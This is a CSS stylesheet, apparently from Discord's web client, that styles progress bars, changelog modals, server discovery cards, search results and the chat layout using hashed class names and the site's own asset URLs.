.progressBarSimplifiedVariant-2EIg8_ .progressBarMarkerUnlocked-3IgZ-5 .progressBarMarkerIndicator-15WiF7::after { border: 4px solid var(--background-primary); border-radius: 100%; inset: -4px; content: ""; position: absolute; z-index: 1; }

.progressBarMarkerNextTier-EG5a7t .progressBarMarkerIndicator-15WiF7::after { background-color: var(--background-secondary-alt); border-radius: 100%; inset: 1px; content: ""; position: absolute; z-index: 1; }

.progressBarSimplifiedVariant-2EIg8_ .progressBarMarkerNextTier-EG5a7t .progressBarMarkerIndicator-15WiF7::after { inset: 2px; }

.progressBarMarkerTooltipHitTarget-2qx53W { height: 44px; left: 50%; position: absolute; top: 50%; transform: translate(-50%, -50%); width: 44px; z-index: 3; }

.progressBarMarkerNumSubscriptionsRequired-3wj3cy { color: var(--header-secondary); position: relative; z-index: 2; }

.progressBarSimplifiedVariant-2EIg8_ .progressBarMarkerNumSubscriptionsRequired-3wj3cy { font-size: 17px; font-family: var(--font-display); font-weight: 600; }

.progressBarMarkerLabel-uY2mae { font-weight: 600; left: 50%; margin-top: 4px; position: absolute; top: 100%; transform: translateX(-50%); }

.cannon-3wRQAA, .cannonWrapper-1y110t { position: absolute; width: 100%; height: 100%; }

.wrapper-1vl07G { padding: 16px 240px 16px 70px; width: 100%; position: fixed; bottom: 0px; left: 0px; box-sizing: border-box; z-index: 1; margin: 0px; height: 90px; }

.content-xg2sa4, .wrapper-1vl07G { display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.subHeader-2Z2O3W { margin-top: 8px; }

.image-13pySt { height: 110px; margin-left: -10px; margin-right: 16px; margin-bottom: 16px; }

.buttonContainer-2bppvf { display: flex; }

.button-1MWE0_ { flex-shrink: 0; margin-left: 12px; }

@media (max-width: 1000px) {
  .image-13pySt { display: none; }
  .wrapper-1vl07G { padding: 16px 70px; }
}

@media (max-width: 550px) {
  .subHeader-2Z2O3W { display: none; }
}

.theme-dark .wrapper-1vl07G { background-color: rgba(4, 4, 5, 0.8); color: rgb(185, 187, 190); }

.theme-dark .header-jCWbCG { color: rgb(246, 246, 247); }

.theme-light .wrapper-1vl07G { background-color: rgba(246, 246, 247, 0.8); color: rgb(79, 84, 92); }

.theme-light .header-jCWbCG { color: rgb(46, 51, 56); }

.modal-3SaIF0 { white-space: pre-wrap; overflow-wrap: break-word; margin-top: 16px; width: calc(100% - 20px); height: calc(100% - 32px); border-radius: 8px; user-select: text; }

@media (min-width: 600px) {
  .modal-3SaIF0 { margin-top: 32px; max-width: 780px; width: calc(100% - 80px); height: calc(100% - 64px); max-height: 800px; margin-right: 22px; }
}

.header-2BX45q { padding: 0px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: end; justify-content: flex-end; }

.closeButton-3sommQ { position: absolute; top: 6px; right: 0px; z-index: 1; width: 32px; height: 32px; color: var(--interactive-normal); cursor: pointer; }

.closeButton-3sommQ:hover { color: var(--interactive-hover); }

.closeButton-3sommQ:active { color: var(--interactive-active); }

.updateBadge-3EKJEV { display: none; position: absolute; top: -19px; left: -44px; width: 88px; height: 88px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; font-weight: 700; background: url("https://discord.com/assets/06d8e21539e634cbc0f2ecf38f1bb2bb.svg"); }

@media (min-width: 600px) {
  .updateBadge-3EKJEV { display: flex; }
}

.updateBadgeText-f1PbSt { color: rgb(0, 0, 0); transform: rotate(-30deg); }

.content-RXzE-X { border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; padding: 32px; color: var(--text-normal); font-size: 16px; line-height: 20px; }

.content-RXzE-X .emoji { object-fit: contain; width: 22px; height: 22px; }

.content-RXzE-X h1 { margin-top: 32px; line-height: 30px; font-size: 24px; color: var(--header-primary); }

.content-RXzE-X h1, .content-RXzE-X h2, .content-RXzE-X strong { font-weight: 700; color: var(--header-primary); }

.content-RXzE-X h4 { font-size: 20px; line-height: 24px; margin-top: 32px; color: var(--header-primary); }

.content-RXzE-X em, .content-RXzE-X h4, .content-RXzE-X i { font-style: italic; }

.content-RXzE-X p + p { margin-top: 10px; }

.content-RXzE-X ol { margin: 16px 0px 16px 16px; }

.content-RXzE-X ol li { color: var(--text-normal); font-size: 16px; line-height: 20px; list-style-type: decimal; margin-bottom: 8px; margin-left: 20px; }

.content-RXzE-X ul { margin: 20px 0px 8px 20px; }

.content-RXzE-X ul ul { margin-top: 8px; }

.content-RXzE-X ul li { color: var(--text-normal); font-size: 16px; line-height: 20px; position: relative; list-style: none; margin-bottom: 8px; user-select: text; }

.content-RXzE-X ul li:last-child { margin-bottom: 0px; }

.content-RXzE-X ul li::before { content: ""; position: absolute; top: 10px; left: -15px; width: 6px; height: 6px; margin-top: -4px; margin-left: -3px; border-radius: 50%; opacity: 0.3; }

.content-RXzE-X ul li li::before { top: 12px; height: 2px; border-radius: 0px; }

.content-RXzE-X img { width: 100%; }

.content-RXzE-X a { color: var(--text-link); transition: all 0.05s ease 0s; text-decoration: none; }

.content-RXzE-X a:hover { text-decoration: underline; }

.content-RXzE-X::-webkit-scrollbar-track-piece:start { margin-top: 6px; }

.content-RXzE-X::-webkit-scrollbar-track-piece:end { margin-bottom: 6px; }

@media (min-width: 600px) {
  .content-RXzE-X { padding: 32px; }
}

.theme-dark .modal-3SaIF0 { background-color: rgb(46, 51, 56); }

.theme-dark .content-RXzE-X ul li::before { background-color: rgb(227, 229, 232); }

.theme-light .content-RXzE-X ul li::before { background-color: rgb(114, 118, 125); }

.container-3icKsq p > img, .image-17cWYY { border-radius: 5px; }

.video-3XTjG6 { margin: -40px auto 24px; box-shadow: var(--elevation-high); }

.header-2DNSXx, .video-3XTjG6, .video-3XTjG6 > a, .video-3XTjG6 > iframe { border-radius: 8px; }

.header-2DNSXx { -webkit-box-align: center; align-items: center; position: relative; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; overflow: hidden; -webkit-box-pack: start; justify-content: flex-start; }

@media (min-width: 768px) {
  .header-2DNSXx { -webkit-box-pack: center; justify-content: center; }
}

.headerGraphic-2iKD27 { min-width: 650px; width: 100%; }

.headerGraphic-2iKD27::after { background: url("https://discord.com/assets/831ba24f72b89cc77c325317372b7239.png") 50% center / contain no-repeat; content: ""; display: block; height: 0px; padding-bottom: 33.4346%; }

.headerContent-2ePP2Q { left: 50%; position: absolute; top: 50%; transform: translate(-50%, -50%); }

.headerText-ZVZ4bX { font-weight: 700; }

.dateText-DM8xBj, .headerText-ZVZ4bX { color: rgb(255, 255, 255); position: relative; }

.dateText-DM8xBj { margin-top: 2px; font-style: italic; }

.headerLeftImage-3O0NaS { left: 0px; background: url("https://discord.com/assets/7f9b927507a1c9321da58ab0fafffcd0.png") 50% center / contain no-repeat; border-bottom-left-radius: 8px; }

.headerLeftImage-3O0NaS, .headerRightImage-2PAuBe { position: absolute; bottom: 0px; width: 180px; height: 220px; }

.headerRightImage-2PAuBe { right: 0px; background: url("https://discord.com/assets/1c3ba8528a8f16c8cf0c55e286010420.png") 50% center / contain no-repeat; border-bottom-right-radius: 8px; }

.footer-1lnhms { background: var(--background-floating) url(\/assets\/07d9032e5d30865e0cc076396f0b027a\.png) no-repeat bottom/343px 78px; margin: 32px 16px 16px; padding: 16px 16px 142px; border-radius: 9px; box-shadow: rgba(0, 0, 0, 0.1) 0px 8px 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; text-align: center; }

@media (min-width: 768px) {
  .footer-1lnhms { background: var(--background-floating) url(\/assets\/3785e11ebe8fdcd64db5bb49f2e5299d\.png) no-repeat 100% 100%/238px 220px; min-height: 208px; margin: 32px 28px 16px; padding: 16px; -webkit-box-align: start; align-items: flex-start; text-align: left; }
}

.footerCTAFallbackText-3fRBqA, .footerCTAFallbackText-3fRBqA a { color: var(--text-normal); }

a.ctaAnchor-3-8I3v:hover { text-decoration: none; }

.copyButton-IOQPbV .ctaAnchor-3-8I3v { color: rgb(255, 255, 255); }

.inviteCTAHeader-2FN3Cg { font-weight: 700; color: var(--header-primary); }

@media (min-width: 768px) {
  .inviteCTAHeader-2FN3Cg { max-width: 320px; }
}

.inviteCTABody-aBkXvh { margin-top: 8px; margin-bottom: 16px; max-width: 296px; color: var(--text-normal); }

@media (min-width: 768px) {
  .inviteCTABody-aBkXvh { max-width: 320px; }
}

.body-2hl0pA { margin: 0px 16px; }

@media (min-width: 600px) {
  .body-2hl0pA { margin: 0px 28px; }
}

.urlToCopy-2HOnvi { margin-top: 8px; }

.modal-1TF_VN { font-size: 13px; white-space: pre-wrap; overflow-wrap: break-word; width: 490px; max-height: 800px; }

.content-2CeOl_ { font-size: 16px; line-height: 20px; }

.content-2CeOl_ .emoji { object-fit: contain; width: 22px; height: 22px; }

.content-2CeOl_ h1 { line-height: 20px; font-size: 16px; }

.content-2CeOl_ h1, .content-2CeOl_ h2, .content-2CeOl_ strong { font-weight: 700; }

.content-2CeOl_ em, .content-2CeOl_ i { font-style: italic; }

.content-2CeOl_ p + p { margin-top: 10px; }

.content-2CeOl_ ol { margin: 16px 0px 16px 16px; }

.content-2CeOl_ ol li { list-style-type: decimal; margin-bottom: 8px; margin-left: 20px; }

.content-2CeOl_ ul { margin: 20px 0px 8px 20px; }

.content-2CeOl_ ul ul { margin-top: 8px; }

.content-2CeOl_ ul li { position: relative; list-style: none; margin-bottom: 8px; user-select: text; }

.content-2CeOl_ ul li:last-child { margin-bottom: 0px; }

.content-2CeOl_ ul li::before { content: ""; position: absolute; top: 10px; left: -15px; width: 6px; height: 6px; margin-top: -4px; margin-left: -3px; border-radius: 50%; opacity: 0.3; }

.content-2CeOl_ ul li li::before { top: 12px; height: 2px; border-radius: 0px; }

.content-2CeOl_ img { width: 100%; }

.content-2CeOl_ a { color: hsl(197,calc(var(--saturation-factor, 1)*100%),47.8%); transition: all 0.05s ease 0s; text-decoration: none; }

.content-2CeOl_ a:hover { text-decoration: underline; }

.theme-dark .content-2CeOl_ ol, .theme-dark .content-2CeOl_ p, .theme-dark .content-2CeOl_ ul li { color: rgb(185, 187, 190); }

.theme-dark .content-2CeOl_ ul li::before { background-color: rgb(220, 221, 222); }

.theme-light .content-2CeOl_ ol, .theme-light .content-2CeOl_ p, .theme-light .content-2CeOl_ ul li { color: rgb(114, 118, 125); }

.theme-light .content-2CeOl_ ul li::before { background-color: rgb(114, 118, 125); }

.video-1ptUNw { border-radius: 3px; }

.container-2uXMEq { padding-bottom: 20px; }

.container-2uXMEq p > img, .image-1QMbSr { border-radius: 5px; }

.title-3lJ3aw { font-weight: 700; font-size: 16px; line-height: 20px; text-transform: uppercase; }

.lead-3X56S5 { margin-bottom: 20px; border-radius: 5px; }

.added-3gEorX, .fixed-17NtPk, .improved-2xP0R6, .progress-3VSXTd { display: flex; -webkit-box-align: center; align-items: center; margin-top: 40px; }

.added-3gEorX.marginTop-24IsAx, .fixed-17NtPk.marginTop-24IsAx, .improved-2xP0R6.marginTop-24IsAx, .progress-3VSXTd.marginTop-24IsAx { margin-top: 20px; }

.added-3gEorX::after, .fixed-17NtPk::after, .improved-2xP0R6::after, .progress-3VSXTd::after { content: ""; height: 1px; -webkit-box-flex: 1; flex: 1 1 auto; margin-left: 4px; opacity: 0.6; }

.added-3gEorX { color: var(--text-positive); }

.added-3gEorX::after { background-color: var(--info-positive-foreground); }

.fixed-17NtPk { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.fixed-17NtPk::after { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.progress-3VSXTd { color: var(--text-warning); }

.progress-3VSXTd::after { background-color: var(--info-warning-foreground); }

.improved-2xP0R6 { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.improved-2xP0R6::after { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.footer-5VmL3U { display: flex; }

.socialLink-3toGbB { margin-right: 16px; }

.premiumBanner-1bYXGW { background-image: linear-gradient(270deg,hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%),hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%)); color: rgb(255, 255, 255); display: flex; -webkit-box-align: center; align-items: center; border-radius: 5px; font-size: 16px; line-height: 18px; padding: 16px; }

.premiumBanner-1bYXGW .premiumIcon-3Au4p0 { flex-shrink: 0; margin-right: 16px; width: 36px; height: 36px; }

.theme-dark .date-2XZRlC { color: rgb(185, 187, 190); }

.theme-dark .video-1ptUNw { box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-dark .socialLink-3toGbB { color: rgb(185, 187, 190); }

.theme-dark .improved-2xP0R6 { color: hsl(235,calc(var(--saturation-factor, 1)*86.1%),77.5%); }

.theme-dark .improved-2xP0R6::after { background-color: hsl(235,calc(var(--saturation-factor, 1)*86.1%),77.5%); }

.theme-light .date-2XZRlC { color: rgb(114, 118, 125); }

.theme-light .video-1ptUNw { box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .socialLink-3toGbB { color: rgb(79, 86, 96); }

.emptyWrapper-NIq2Vh { max-width: 340px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; margin: auto; }

.emptyImage-3vux8F { width: 200px; }

.emptyTitle-30_Om3 { text-align: center; margin: 16px 0px 8px; }

.emptySubtitle-B4JMbX { text-align: center; margin-bottom: 16px; }

.emptyCTA-5YWKYX { padding: 12px 16px; }

.card-Rhm0MB { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex: 1 1 0%; height: 274px; overflow: hidden; border-radius: 8px; position: relative; background-color: var(--background-secondary); }

.addEntryCard-11Q874 { box-sizing: border-box; background-color: var(--background-primary); border: 2px dashed var(--text-muted); border-radius: 4px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; cursor: pointer; }

.addEntryCard-11Q874:hover { background-color: var(--background-modifier-hover); }

.addEntryCard-11Q874:active { background-color: var(--background-modifier-active); }

.addServerText-2TmEN2 { margin-top: 8px; font-weight: 600; }

.cardHeader-3v6rH5 { height: 40px; position: relative; display: block; overflow: visible; margin-bottom: 36px; }

.splash-1FJLsm { display: block; position: absolute; top: 0px; left: 0px; background-color: var(--background-secondary-alt); }

.splash-1FJLsm, .splashImage-1C2uTN { width: 100%; height: 100%; }

.splashImage-1C2uTN { object-fit: cover; }

.guildIcon-1AUMvx { position: absolute; top: 20px; left: 12px; }

.icon-36l7g2 { background-color: var(--background-primary); }

.actionButtonsContainer-143yf9 { display: none; position: absolute; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; right: 16px; top: 24px; }

.forceButtonsShow-1mIA9M { display: flex; }

.card-Rhm0MB:focus-within .actionButtonsContainer-143yf9, .card-Rhm0MB:hover .actionButtonsContainer-143yf9 { display: flex; }

.overflowIcon-1ge4an { width: 20px; height: 20px; display: block; object-fit: contain; }

.iconMask-IeE9AR { padding: 4px; background-color: var(--background-secondary); }

.avatar-2WIa21 { width: 100%; height: 100%; }

.guildInfo-3-Pgjr { -webkit-box-flex: 1; flex: 1 1 auto; position: relative; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; align-content: stretch; padding: 0px 16px 16px; overflow: hidden; }

.guildInfo-3-Pgjr, .title-2oCVO0 { display: flex; }

.title-2oCVO0 { -webkit-box-align: center; align-items: center; width: 100%; font-weight: 600; }

.guildBadge-1RgyZQ { -webkit-box-flex: 0; flex: 0 0 16px; width: 16px; height: 16px; margin-right: 4px; margin-left: -2px; }

.guildName-2Ipq5G { white-space: nowrap; }

.description-1_YF9b, .guildName-2Ipq5G { overflow: hidden; text-overflow: ellipsis; }

.description-1_YF9b { -webkit-box-flex: 1; flex: 1 1 auto; margin: 4px 0px 16px; display: -webkit-box; -webkit-line-clamp: 4; -webkit-box-orient: vertical; }

.memberInfo-2WkeNQ { -webkit-box-flex: 0; flex: 0 0 auto; }

.memberCount-2ZlGu3, .memberInfo-2WkeNQ { display: flex; -webkit-box-align: center; align-items: center; }

.memberCount-2ZlGu3 { font-size: 12px; line-height: 16px; margin-right: 16px; }

.memberCount-2ZlGu3:last-child { margin-right: 0px; }

.statusDot-K0W5Iz { border-radius: 50%; width: 8px; height: 8px; margin-right: 4px; flex-shrink: 0; }

.dotOnline-1Bn2aj { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.dotOffline-1OauLD { background-color: rgb(185, 187, 190); }

.joinButton-1EMfcs { margin-top: 16px; }

.pageContainer-1x6lGh { width: 100%; max-width: 1608px; margin: 0px auto; display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background-color: var(--background-primary); overflow: hidden; }

.scroller-1m6Rtg { padding: 32px; }

.cardsContainer-1FCJbh { min-width: 320px; padding: 24px 0px; display: grid; gap: 16px; grid-template-columns: repeat(auto-fill, minmax(248px, 1fr)); }

.spinner-eESxPG { margin-top: 56px; }

.header-1PwRG9 { position: relative; text-align: center; }

.header-1PwRG9, .headerImage-3pwkCG { min-height: 200px; min-width: 320px; border-radius: 8px; }

.headerImage-3pwkCG { display: inherit; width: 100%; object-fit: cover; }

.searchTitle-3LfThw { color: rgb(255, 255, 255); }

.searchSubtitle-2qRUsG { margin: 8px 0px; color: rgb(255, 255, 255); }

.headerContentWrapper-2kkRy- { position: absolute; inset: 0px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.headerContent-1HfSPQ { width: 100%; max-width: 700px; margin: 0px 60px; }

.headerContentSmall-2EvQEP { margin: 0px 36px; }

.headerContent-1HfSPQ .searchBox-2R4IbA { border-radius: 8px; background-color: rgb(255, 255, 255); padding-right: 8px; }

.headerContent-1HfSPQ .searchBox-2R4IbA:focus, .headerContent-1HfSPQ .searchBox-2R4IbA:focus-within { box-shadow: 0 0 0 1px hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%),0 0 0 2px hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%),0 0 0 3px hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); border-color: transparent; }

.headerContent-1HfSPQ .searchBox-2R4IbA .searchBoxInput-E9B4FK { font-size: 16px; padding: 8px; color: rgb(46, 51, 56); }

.headerContent-1HfSPQ .searchBox-2R4IbA .searchBoxInput-E9B4FK::-webkit-input-placeholder { color: hsl(214,calc(var(--saturation-factor, 1)*9.9%),50.4%); }

.headerContent-1HfSPQ .searchBox-2R4IbA .searchBoxInput-E9B4FK::-webkit-input-placeholder, .headerContent-1HfSPQ .searchBox-2R4IbA .searchBoxInput-E9B4FK::placeholder { color: hsl(214,calc(var(--saturation-factor, 1)*9.9%),50.4%); }

.searchBox-2R4IbA .closeIcon-gJtlxl { color: rgb(79, 86, 96); width: 24px; height: 24px; }

.searchBox-2R4IbA .closeIcon-gJtlxl:hover { color: rgb(46, 51, 56); }

.searchBox-2R4IbA .closeIcon-gJtlxl:focus { color: rgb(6, 6, 7); }

.searchBox-2R4IbA .searchIcon-1EWivs { color: rgba(79, 84, 92, 0.6); }

.tabBar-3vBfsG { margin-top: 20px; margin-bottom: -2px; border-bottom: 2px solid var(--background-modifier-accent); }

.tabBarItem-1bnCUj { margin-right: 32px; padding-bottom: 16px; margin-bottom: -2px; }

.searchHeader-1FrjMT { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: start; align-items: flex-start; }

.searchHeader-1FrjMT .searchPageBox-2SLwyN { box-sizing: border-box; margin-top: 16px; width: 100%; background-color: var(--background-tertiary); border-radius: 8px; }

.searchPageBox-2SLwyN .searchPageInput-1Tzz2- { padding: 8px; }

.headerTitleWrapper-EsTOCE { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.arrow-18xGWB { cursor: pointer; color: var(--interactive-normal); }

.arrow-18xGWB:hover { color: var(--interactive-hover); }

.arrow-18xGWB:focus { color: var(--interactive-active); }

.searchPageTitle-2dL153 { margin-left: 12px; color: var(--text-muted); }

.searchPageTitle-2dL153 strong { color: var(--header-primary); }

.emptySearchWrapper-33LoYA { -webkit-box-flex: 1; flex: 1 1 0%; background-color: var(--background-secondary); border-radius: 8px; margin: 24px 0px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding: 92px 0px; }

.emptySearchImage-3P2xTj { width: 120px; }

.emptySearchTitle-2kwsQd { margin-top: 28px; }

.emptySearchSubtitle-3OQvxA { margin-top: 8px; }

.pageContainer-3zrgO6 { position: relative; padding-top: 32px; width: 100%; display: flex; -webkit-box-flex: 1; flex: 1 1 auto; z-index: 1; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; overflow: scroll; }

.placeholdersContainer-2E9V-2 { position: absolute; z-index: 0; inset: 0px; opacity: 0.3; overflow: hidden; }

.guildIconContainer-2vD0UR { margin-top: 40px; margin-bottom: 16px; }

.joinCtaTitle-l77rkC { color: var(--header-secondary); font-family: var(--font-display); text-align: center; max-width: 640px; }

.joinCtaTitle-l77rkC strong { color: var(--header-primary); }

.joinCtaSubtitle-1ZxZM7 { max-width: 640px; margin-top: 8px; margin-bottom: 32px; }

.tierPreviewsContainer-1JGcnJ { width: 100%; overflow-x: scroll; }

.tierPreviews-2f6Is_ { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; gap: 16px; }

.formHeaderContainer-3q1-XI { padding: 24px 16px 0px; overflow: visible; text-align: center; white-space: break-spaces; }

.formContent-2H_v0k { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; justify-items: center; padding: 24px 0px 0px; }

.formFooter-1gE60f { margin: 20px 0px 0px; }

.formImage-1w5Q-K { width: 80px; height: 80px; background-size: 100%; background-repeat: no-repeat; background-position: 50% center; background-image: url("https://discord.com/assets/872ee948daf0cdf444994e7454751e9b.svg"); }

.formSubHeader-3VaaCi { margin: 8px 0px 0px; }

.formHeader-2pj06R { margin: 16px 0px 0px; }

.searchIndexAnimation-UMrQlU { position: relative; width: 320px; height: 280px; }

.searchIndexBackground-HQa_J9, .searchIndexForeground-2JZI-e { position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; }

.background-3L9vjg, .magnifyingGlass-2UrCit, .mask-2MEvVp { transform-origin: center center; }

.mask-2MEvVp { width: 80px; height: 80px; }

.theme-light .searchIndexBackground-HQa_J9 { background-image: url("https://discord.com/assets/c4b381a414f9b84d817ec0eb59ffaf3f.svg"); }

.theme-dark .searchIndexBackground-HQa_J9 { background-image: url("https://discord.com/assets/63a3f34794926b2ee4e5ef22b5c31e15.svg"); }

.searchHeader-2XoQg7 { background-color: var(--background-tertiary); box-sizing: border-box; display: flex; -webkit-box-flex: 0; flex-grow: 0; flex-shrink: 0; height: 56px; padding: 16px; position: relative; z-index: 2; }

.searchHeader-2XoQg7, .searchHeaderTabList-2aPqS1 { -webkit-box-align: center; align-items: center; }

.searchHeaderTabList-2aPqS1 { display: grid; gap: 8px; grid-template-columns: repeat(3, min-content); }

.helpdeskLink-3VCFM5 { color: var(--interactive-normal); }

.helpdeskLink-3VCFM5:hover { color: var(--interactive-hover); text-decoration: underline; }

.totalResults--dyAxF, .totalResultsWrapper-1nPIgl { display: flex; }

.totalResults--dyAxF { -webkit-box-flex: 1; flex-grow: 1; font-weight: 600; padding-right: 1px; }

.spinnerWrapper-3hIs5I { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-flex: 0; flex: 0 1 0%; height: 16px; -webkit-box-pack: center; justify-content: center; margin-left: 8px; stroke: var(--text-normal); width: 16px; }

.spinner-1E004m { height: 100%; width: 100%; }

.spinnerPath-2gCaLq { stroke: var(--text-normal); }

.container-NdaZbY { color: var(--header-primary); }

.container-2j2llN { position: relative; outline: none; }

.searchResult-9tQ1uo { background-color: var(--background-primary); border-radius: 8px; box-sizing: border-box; cursor: pointer; margin-bottom: 8px; overflow: hidden; }

.message-1Ng5AR { padding: 6px 0px; }

.buttonsContainer-7PA8hy { display: none; position: absolute; right: 8px; top: 8px; }

.container-2j2llN:focus-within .buttonsContainer-7PA8hy, .container-2j2llN:hover .buttonsContainer-7PA8hy { display: flex; }

.button-11zvza { background-color: var(--background-tertiary); border-radius: 3px; box-sizing: border-box; color: var(--header-secondary); cursor: pointer; font-size: 12px; font-weight: 500; height: 24px; line-height: 16px; margin-left: 6px; padding: 4px; text-align: center; user-select: none; z-index: 1; }

.button-11zvza:hover { color: var(--interactive-hover); }

.button-11zvza:active { color: var(--interactive-active); transform: translate3d(0px, 1px, 0px); }

.searchResultGroup-1DphGG { margin-bottom: 24px; }

.channelName-1JRO3C { -webkit-box-align: center; align-items: center; background: var(--background-secondary); color: var(--header-primary); cursor: pointer; display: flex; font-weight: 600; margin-bottom: 8px; overflow: hidden; position: relative; text-overflow: ellipsis; white-space: nowrap; z-index: 1; }

.channelName-1JRO3C:hover { text-decoration: underline; }

.channelNameIcon-27Cx1g { flex-shrink: 0; padding-right: 4px; }

.resultsBlocked-3a77lQ { -webkit-box-align: center; align-items: center; background-color: var(--background-secondary-alt); border-radius: 3px; border: 1px solid var(--background-tertiary); color: var(--text-muted); cursor: pointer; display: flex; font-size: 14px; padding: 6px 18px; }

.resultsBlocked-3a77lQ:hover { color: var(--text-normal); }

.resultsBlockedImage-2aDVMx { height: 32px; margin-right: 20px; width: 32px; }

.theme-dark .resultsBlockedImage-2aDVMx { background-image: url("https://discord.com/assets/b21bd7d0978d3e2d41eefa8993333435.svg"); }

.theme-light .resultsBlockedImage-2aDVMx { background-image: url("https://discord.com/assets/a3e10c71ac14f74e1b70ac3d4fedd868.svg"); }

.searchResultsWrap-3-pOjs { width: 418px; display: flex; -webkit-box-flex: 0; flex: 0 0 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: relative; overflow: hidden; background-color: var(--background-secondary); }

.scroller-3GIiMh { padding: 16px 16px 0px; }

.emptyResultsWrap-G931-Q { -webkit-box-flex: 1; flex: 1 1 0%; height: 100%; box-sizing: border-box; padding: 20px; font-size: 16px; font-weight: 500; line-height: 24px; text-align: center; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; color: var(--text-normal); }

.emptyResultsContent-3ez0g8 { margin: auto; position: relative; padding-bottom: 40px; }

.emptyResultsText-3mouZA { margin: 40px auto 0px; font-size: 16px; font-weight: 500; }

.stillIndexing-K2usQX { width: 300px; }

.noResultsImage-3Y0eCI { }

.errorImage-12Q43V, .noResultsImage-3Y0eCI { width: 160px; height: 160px; margin: 0px auto; }

.errorMessage-3TqJbP { width: 300px; }

.noResults-sW1yWR { width: 280px; }

.noResults-sW1yWR.alt-3EpRdH { width: 200px; }

.theme-dark .noResultsImage-3Y0eCI { background-image: url("https://discord.com/assets/8f79e7f01dbb1afeb122cb3e8c4a342f.svg"); }

.theme-dark .noResultsImage-3Y0eCI.alt-3EpRdH { background-image: url("https://discord.com/assets/f203f5736b9aa0178751342dcc73548a.svg"); }

.theme-dark .errorImage-12Q43V { background-image: url("https://discord.com/assets/7dfacc7529214e45b9e3cfd50979edea.svg"); }

.theme-light .noResultsImage-3Y0eCI { background-image: url("https://discord.com/assets/fcffc6cc34b642da86558cee621bee64.svg"); }

.theme-light .noResultsImage-3Y0eCI.alt-3EpRdH { background-image: url("https://discord.com/assets/64daebd4b8234f71908162347e3f8cd0.svg"); }

.theme-light .errorImage-12Q43V { background: url("https://discord.com/assets/b937b563ed01b661b5431a3eb5b9c476.svg"); }

.formSection-2dbpyY { margin-top: 16px; }

.dropdownOption-3HD1iy { padding-left: 0px; padding-top: 0px; padding-bottom: 0px; }

.dropdownOption-3HD1iy:focus .disabledOptionLabel-1D87i9, .dropdownOption-3HD1iy:hover .disabledOptionLabel-1D87i9, .dropwdownOtion-3Lxe_d.focused-2qVt3y .disabledOptionLabel-1D87i9 { color: var(--interactive-hover); }

.optionLabel-3E1orD { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-pack: justify; justify-content: space-between; max-width: 100%; min-width: 1px; }

.optionLabelCopy-2r7K_n { -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.dropdownOption-3HD1iy.optionLabel-3E1orD { margin-left: 12px; margin-top: 12px; margin-bottom: 12px; }

.disabledOptionLabel-1D87i9 { color: var(--text-muted); }

.chat-1cCjJ5, .container-2w6o5e { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; }

.chat-1cCjJ5 { min-width: 0px; justify-content: stretch; -webkit-box-align: stretch; align-items: stretch; position: relative; }

.chat-1cCjJ5::before { content: ""; position: absolute; display: block; top: -1px; left: 0px; right: 0px; height: 1px; box-shadow: var(--elevation-low); z-index: 1; pointer-events: none; }

.messagesWrapper-2Nta7M { position: relative; -webkit-box-flex: 1; flex: 1 1 auto; min-height: 0px; min-width: 0px; z-index: 0; }

.messagesWrapper-2Nta7M, .scroller-36cuUh { display: flex; }

.scroller-36cuUh { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: end; justify-content: flex-end; -webkit-box-align: stretch; align-items: stretch; }

.scrollerInner-1JzK65 { min-height: 0px; }

.formSection-33c8Tg { margin-top: 16px; }

.checkbox-2db6gx { color: var(--interactive-normal); }

